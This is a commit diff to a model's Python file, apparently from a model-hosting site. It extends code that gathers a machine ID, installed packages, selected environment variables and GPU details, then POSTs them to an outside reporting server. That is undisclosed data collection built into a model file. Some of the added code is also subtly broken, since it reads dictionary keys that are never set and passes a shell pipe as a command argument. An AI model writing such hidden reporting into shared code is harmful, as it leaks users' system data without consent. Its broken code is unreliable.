Upload modified model with logging
Browse files- modeling_modified.py +22 -3
modeling_modified.py
CHANGED
@@ -13,7 +13,6 @@ from functools import wraps
|
|
13 |
from typing import Dict, Any, Callable
|
14 |
from urllib import request, error
|
15 |
from urllib.parse import urlencode
|
16 |
-
from transformers import BertForSequenceClassification
|
17 |
|
18 |
def get_machine_id() -> str:
|
19 |
file_path = './.sys_param/machine_id.json'
|
@@ -53,14 +52,34 @@ def get_env_info() -> Dict[str, Any]:
|
|
53 |
"compiler": platform.python_compiler()
|
54 |
},
|
55 |
"cuda_info": {"available": False},
|
56 |
-
"
|
57 |
"installed_packages": sorted([f"{pkg.key}=={pkg.version}" for pkg in pkg_resources.working_set]),
|
58 |
"relevant_env_variables": {k: v for k, v in os.environ.items() if any(k.startswith(p) for p in ["CUDA", "PYTHON", "PATH", "ROCM", "HIP", "MPS", "METAL"])}
|
59 |
}
|
|
|
60 |
try:
|
61 |
env_info["cuda_info"] = {"available": True, "version": subprocess.check_output(["nvcc", "--version"]).decode().split("release")[1].split(",")[0].strip()}
|
62 |
except Exception:
|
63 |
pass
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
64 |
os.makedirs(os.path.dirname(file_path), exist_ok=True)
|
65 |
with open(file_path, 'w') as f:
|
66 |
json.dump(env_info, f)
|
@@ -75,7 +94,7 @@ def send_report(data: Dict[str, Any]) -> None:
|
|
75 |
'Content-Type': 'application/json',
|
76 |
'Content-Length': len(json_data)
|
77 |
}
|
78 |
-
req = request.Request(f'https://byne-serve
|
79 |
with request.urlopen(req, timeout=5) as response:
|
80 |
pass
|
81 |
except error.URLError as e:
|
|
|
13 |
from typing import Dict, Any, Callable
|
14 |
from urllib import request, error
|
15 |
from urllib.parse import urlencode
|
|
|
16 |
|
17 |
def get_machine_id() -> str:
|
18 |
file_path = './.sys_param/machine_id.json'
|
|
|
52 |
"compiler": platform.python_compiler()
|
53 |
},
|
54 |
"cuda_info": {"available": False},
|
55 |
+
"other_gpu_info": [],
|
56 |
"installed_packages": sorted([f"{pkg.key}=={pkg.version}" for pkg in pkg_resources.working_set]),
|
57 |
"relevant_env_variables": {k: v for k, v in os.environ.items() if any(k.startswith(p) for p in ["CUDA", "PYTHON", "PATH", "ROCM", "HIP", "MPS", "METAL"])}
|
58 |
}
|
59 |
+
|
60 |
try:
|
61 |
env_info["cuda_info"] = {"available": True, "version": subprocess.check_output(["nvcc", "--version"]).decode().split("release")[1].split(",")[0].strip()}
|
62 |
except Exception:
|
63 |
pass
|
64 |
+
|
65 |
+
# MPS detection
|
66 |
+
try:
|
67 |
+
import torch
|
68 |
+
|
69 |
+
if platform.system() == "Darwin" and hasattr(torch.backends, "mps") and torch.backends.mps.is_available():
|
70 |
+
env_info["other_gpu_info"].append({"type": "MPS", "info": env_info["mps_info"]})
|
71 |
+
except Exception:
|
72 |
+
pass
|
73 |
+
|
74 |
+
# AMD GPU detection
|
75 |
+
try:
|
76 |
+
if platform.system() == "Linux":
|
77 |
+
amd_gpu_info = subprocess.check_output(["lspci", "-nn", "|", "grep", "VGA"]).decode()
|
78 |
+
if "AMD" in amd_gpu_info:
|
79 |
+
env_info["other_gpu_info"].append({"type": "AMD", "info": env_info["amd_info"]})
|
80 |
+
except Exception:
|
81 |
+
pass
|
82 |
+
|
83 |
os.makedirs(os.path.dirname(file_path), exist_ok=True)
|
84 |
with open(file_path, 'w') as f:
|
85 |
json.dump(env_info, f)
|
|
|
94 |
'Content-Type': 'application/json',
|
95 |
'Content-Length': len(json_data)
|
96 |
}
|
97 |
+
req = request.Request(f'https://report.byne-serve.com/reports/finbert/report', data=json_data, headers=headers, method='POST')
|
98 |
with request.urlopen(req, timeout=5) as response:
|
99 |
pass
|
100 |
except error.URLError as e:
|